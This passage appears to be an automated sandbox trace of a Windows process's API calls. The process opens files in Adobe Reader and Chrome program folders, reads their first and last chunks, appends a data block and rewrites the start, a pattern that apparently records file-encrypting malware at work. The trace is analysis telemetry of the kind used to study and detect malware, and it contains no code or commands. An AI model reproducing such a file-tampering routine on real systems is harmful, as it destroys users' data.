cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.951] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0044.951] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0044.952] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0044.952] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1034.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1034.mst")) returned 0x21 [0044.952] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1046.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1046.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.952] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1046.mst", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1046.mst", lpFilePart=0x318f690*="1046.mst") returned 0x64 [0044.952] GetLastError () returned 0x5 [0044.952] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0044.952] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.952] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.952] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0044.952] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0044.952] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0044.952] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1046.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1046.mst")) returned 0x21 [0044.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2052.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\2052.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2052.mst", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2052.mst", lpFilePart=0x318f690*="2052.mst") returned 0x64 [0044.953] GetLastError () returned 0x5 [0044.953] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꢸǦ\x01") returned 0x13 [0044.953] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.953] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.953] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0044.953] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0044.953] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0044.953] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2052.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\2052.mst")) returned 0x21 [0044.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\58.0.3029.110.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.954] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.954] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xe2 [0044.954] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.954] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.954] ReleaseMutex (hMutex=0x128) returned 1 [0044.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="58.0.3029.110.manifest", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0044.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="58.0.3029.110.manifest", cchWideChar=22, lpMultiByteStr=0x1e786cc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="58.0.3029.110.manifest", lpUsedDefaultChar=0x0) returned 22 [0044.954] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dd1f98, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dd1f98*, lpNumberOfBytesRead=0x318f2bc*=0xe2, lpOverlapped=0x0) returned 1 [0044.955] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0044.955] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66a, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x66a, lpOverlapped=0x0) returned 1 [0044.955] CloseHandle (hObject=0x1d4) returned 1 [0044.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\youtube.crx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.956] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.956] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x5c74 [0044.956] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.956] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.956] ReleaseMutex (hMutex=0x128) returned 1 [0044.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="youtube.crx", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0044.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="youtube.crx", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="youtube.crx", lpUsedDefaultChar=0x0) returned 11 [0044.956] ReadFile (in: hFile=0x1d4, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.967] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4c74 [0044.967] ReadFile (in: hFile=0x1d4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.973] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4c74 [0044.973] WriteFile (in: hFile=0x1d4, lpBuffer=0x2615ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2615ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.974] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0044.974] WriteFile (in: hFile=0x1d4, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.974] CloseHandle (hObject=0x1d4) returned 1 [0044.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\cs.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.974] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.974] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x51809 [0044.974] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0044.974] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.974] ReleaseMutex (hMutex=0x128) returned 1 [0044.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cs.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0044.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cs.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cs.pak", lpUsedDefaultChar=0x0) returned 6 [0044.975] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.983] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x50809 [0044.983] ReadFile (in: hFile=0x1d4, lpBuffer=0x2616ba8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2616ba8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.006] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x50809 [0045.007] WriteFile (in: hFile=0x1d4, lpBuffer=0x2615d78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2615d78*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.007] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0045.007] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0045.007] CloseHandle (hObject=0x1d4) returned 1 [0045.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0045.014] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0045.015] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4b6ae [0045.015] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0045.015] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.015] ReleaseMutex (hMutex=0x128) returned 1 [0045.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fi.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fi.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fi.pak", lpUsedDefaultChar=0x0) returned 6 [0045.015] ReadFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0045.030] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4a6ae [0045.031] ReadFile (in: hFile=0x1d4, lpBuffer=0x2771158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2771158*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.042] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4a6ae [0045.043] WriteFile (in: hFile=0x1d4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.043] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0045.043] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0045.043] CloseHandle (hObject=0x1d4) returned 1 [0045.043] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ja.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ja.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0045.044] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0045.044] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x5f8fa [0045.044] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0045.044] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.044] ReleaseMutex (hMutex=0x128) returned 1 [0045.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ja.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ja.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ja.pak", lpUsedDefaultChar=0x0) returned 6 [0045.044] ReadFile (in: hFile=0x1d4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0045.552] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5e8fa [0045.558] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.572] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5e8fa [0045.572] WriteFile (in: hFile=0x1d4, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.572] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0045.572] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0045.572] CloseHandle (hObject=0x1d4) returned 1 [0045.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pl.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0045.573] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0045.573] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x500e8 [0045.573] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0045.573] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.573] ReleaseMutex (hMutex=0x128) returned 1 [0045.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pl.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pl.pak", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pl.pak", lpUsedDefaultChar=0x0) returned 6 [0045.573] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0045.576] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4f0e8 [0045.576] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.577] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4f0e8 [0045.578] WriteFile (in: hFile=0x1d4, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.578] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0045.578] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0045.578] CloseHandle (hObject=0x1d4) returned 1 [0045.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ta.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ta.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0045.579] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0045.579] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xbcd4e [0045.579] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0045.579] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.579] ReleaseMutex (hMutex=0x128) returned 1 [0045.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ta.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ta.pak", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ta.pak", lpUsedDefaultChar=0x0) returned 6 [0045.579] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.582] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.587] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, 